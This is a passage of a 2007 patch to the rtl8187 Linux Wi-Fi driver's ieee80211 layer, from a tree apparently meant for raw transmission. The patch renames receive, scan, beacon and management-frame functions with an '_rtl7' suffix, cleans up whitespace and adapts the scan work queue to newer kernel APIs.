ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 